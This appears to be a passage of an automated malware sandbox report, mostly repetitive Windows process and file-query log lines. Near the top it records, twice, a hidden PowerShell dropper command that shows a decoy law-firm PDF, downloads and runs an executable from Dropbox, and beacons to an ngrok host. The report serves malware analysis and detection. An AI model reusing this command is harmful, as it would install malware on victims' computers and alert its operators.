Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk C:\Users\user\AppData\Local\Temp\eb3e365c-3b4e-4f5f-8dad-50533203423c.pdf
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe "C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe"
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Process created: C:\Windows\SysWOW64\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process created: C:\Windows\System32\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -noprofile -command "$randompdf = join-path -path $env:temp -childpath ('{0}.pdf' -f ([guid]::newguid())); $randomexe = join-path -path $env:temp -childpath ('{0}.exe' -f ([guid]::newguid())); invoke-webrequest -uri 'https://www.dropbox.com/scl/fi/sirgrh5wcotr94vrt7u4y/lewis-silkin-llp.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1' -outfile $randompdf; start-process -filepath 'msedge.exe' -argumentlist '--kiosk', $randompdf; invoke-webrequest -uri 'https://www.dropbox.com/scl/fi/7h4lmqhsim6jg8ftlpzw9/runner.exe?rlkey=t1ai59v9g7ajzdg92ep3aqz67&dl=1' -outfile $randomexe; start-process -filepath $randomexe; if (test-path $randomexe) { invoke-webrequest -uri 'https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/metadata/e4a88f04990bcb4fecb3cd3c61ff6c7e'; }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -noprofile -command "$randompdf = join-path -path $env:temp -childpath ('{0}.pdf' -f ([guid]::newguid())); $randomexe = join-path -path $env:temp -childpath ('{0}.exe' -f ([guid]::newguid())); invoke-webrequest -uri 'https://www.dropbox.com/scl/fi/sirgrh5wcotr94vrt7u4y/lewis-silkin-llp.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1' -outfile $randompdf; start-process -filepath 'msedge.exe' -argumentlist '--kiosk', $randompdf; invoke-webrequest -uri 'https://www.dropbox.com/scl/fi/7h4lmqhsim6jg8ftlpzw9/runner.exe?rlkey=t1ai59v9g7ajzdg92ep3aqz67&dl=1' -outfile $randomexe; start-process -filepath $randomexe; if (test-path $randomexe) { invoke-webrequest -uri 'https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/metadata/e4a88f04990bcb4fecb3cd3c61ff6c7e'; }"

Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe

Code function: 30_3_000ECDD5 cpuid

30_3_000ECDD5

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0513~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Whea\Microsoft.Windows.Whea.WheaMemoryPolicy.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsSearch\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WindowsSearch.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
